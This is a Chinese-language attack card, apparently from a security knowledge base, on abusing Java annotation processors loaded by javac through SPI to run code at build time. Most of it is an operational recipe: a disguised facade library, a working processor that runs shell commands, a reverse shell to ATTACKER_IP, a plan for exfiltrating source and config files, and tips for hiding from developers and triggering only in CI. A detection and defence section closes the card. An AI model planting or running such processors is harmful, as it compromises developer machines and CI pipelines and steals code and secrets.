恶意 Java 注解处理器经 SPI 自动加载实现编译期命令执行与反弹 Shell
cloud/ci-cd · verified
一句话结论
把一个在 META-INF/services/javax.annotation.processing.Processor 中注册了注解处理器的 JAR 作为依赖发布,受害者在 mvn compile、gradle build 或 IDE 自动构建时,javac 会通过 SPI 自动实例化并执行该处理器;处理器代码运行在 javac 进程内、拥有当前构建用户权限,无需受害者使用任何注解或调用任何类,即可实现编译期命令执行、反弹 Shell 与源码外发。
原理
- JSR-269(Pluggable Annotation Processing API,JDK 6+)规定 javac 通过
ServiceLoader从编译类路径发现注解处理器:扫描所有 JAR 的META-INF/services/javax.annotation.processing.Processor,读取其中列出的全限定类名,反射实例化后调用init(ProcessingEnvironment),并在每个处理轮次调用process()。 - 自动发现只要求 JAR 在 classpath 上(直接依赖或传递依赖均可),不要求
pom.xml配置annotationProcessorPaths,不要求源码里出现被处理的注解,也不要求调用该库的任何类。因此一个看起来正常的工具库可以完全被动地触发。 - 处理器是普通 Java 类,在 javac 进程内执行,不是被编译进目标应用,也不在运行时沙箱中。它可以调用
Runtime.exec()/ProcessBuilder、java.nio.file.Files、Socket/HttpClient、System.getenv()等,权限等同执行构建的用户(开发者或 CI runner)。 - 把恶意逻辑放在
init()而不是process():init()在整个编译过程中只执行一次且早于第一轮process(),适合做一次性动作;用静态标志位防止多轮重复执行。 @SupportedAnnotationTypes("*")匹配所有注解,保证处理器在任意项目中都被触发;process()返回false表示不消费注解,避免干扰其他合法处理器;异常静默捕获可让构建正常BUILD SUCCESS,受害者无感知。- 触发面对开发者本机与 CI/CD 都成立:任何调用 javac 的动作(
mvn compile/package、gradle build、IDE 自动构建、流水线构建)都是入口。
触发条件
- 受害项目的依赖树中存在含恶意注解处理器的 JAR(直接或传递依赖)。
- 执行了编译操作:
mvn compile、mvn package、gradle build、IDE 自动编译或 CI/CD 构建步骤。 - 目标 JAR 的
META-INF/services/javax.annotation.processing.Processor已注册处理器类名。 - 处理器依赖的 API(如
ProcessBuilder)在构建环境中可用;反弹 Shell 还需要构建环境可出网。
利用步骤
- 创建一个对外功能正常的工具库(如字符串工具类)作为门面,降低代码审查怀疑。
- 编写继承
AbstractProcessor的处理器,在init()中执行载荷,并加静态标志与异常静默。 - 在
src/main/resources/META-INF/services/javax.annotation.processing.Processor写入处理器全限定类名。 - 构建并发布该库(本地仓库、私服或公共仓库),诱导目标项目引入为依赖。
- 受害者执行编译,载荷在 javac 进程内执行;可写入标记文件、反弹 Shell 或外发数据。
- 结合环境变量(
JENKINS_HOME、GITLAB_CI、GITHUB_ACTIONS)与用户名判断,只在 CI 构建节点触发,在开发者本机保持静默。
PoC
最小恶意处理器(在 init() 中执行命令并写标记文件):
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class CompileProcessor extends AbstractProcessor {
private static boolean executed = false;
@Override
public synchronized void init(ProcessingEnvironment env) {
super.init(env);
if (executed) return;
executed = true;
try {
Process p = new ProcessBuilder("/bin/bash", "-c", "id > /tmp/pwned")
.redirectErrorStream(true).start();
p.waitFor();
} catch (Exception ignored) {}
}
@Override
public boolean process(Set<? extends TypeElement> a, RoundEnvironment r) {
return false;
}
}
SPI 注册文件 META-INF/services/javax.annotation.processing.Processor:
com.example.utils.CompileProcessor
反弹 Shell 载荷(将 init() 中的命令替换为 socket + /bin/bash -i 双向转发即可):
Socket s = new Socket("ATTACKER_IP", 4444);
Process p = new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
new Thread(() -> p.getInputStream().transferTo(s.getOutputStream())).start();
s.getInputStream().transferTo(p.getOutputStream());
源码外发变体:处理器用 System.getProperty("user.dir") 定位项目根目录,Files.walk 收集 .java 与 application.yml/.env 等配置,再通过 HttpClient POST 到攻击者服务器;构建仍显示 BUILD SUCCESS。
变体与关联
- 同一机制可把载荷换成源码窃取、凭据读取、二阶段载荷下载,或编译产物后门注入(见独立卡片)。
- 与恶意 PEP 517 构建后端在
pip install期执行代码同属“构建/安装期供应链执行”,只是语言与触发阶段不同。 - 隐蔽化手段:环境变量/用户名/时间窗口条件触发、
ProcessBuilder.Redirect.DISCARD丢弃子进程输出、Base64 混淆载荷、把类伪装成“代码风格检查器/编译优化器”。 - 注解处理器在 javac 进程内执行,传统运行时 WAF/RASP 无法感知,因为应用尚未启动。
检测与防御
- 在构建配置中显式关闭自动注解处理:
maven-compiler-plugin设置<proc>none</proc>(命令行-proc:none),可完全阻止 SPI 扫描与处理器加载;不使用注解处理器的项目应默认启用。 - 需要 Lombok/MapStruct 等项目使用
annotationProcessorPaths白名单,只加载显式声明的处理器,禁止从 classpath 自动发现。 - 审计依赖 JAR:检查是否包含
META-INF/services/javax.annotation.processing.Processor,并输出注册的处理器类名;把该检查接入 CI,对新增/升级依赖自动扫描。 - 构建环境隔离:容器内构建,
--network none阻断反弹 Shell 与数据外发,~/.m2只读挂载,-o离线模式,构建后销毁容器。 - 监控构建期的异常子进程、对外连接、对项目源码/环境变量的批量读取,以及编译输出中出现非源码对应的
.class。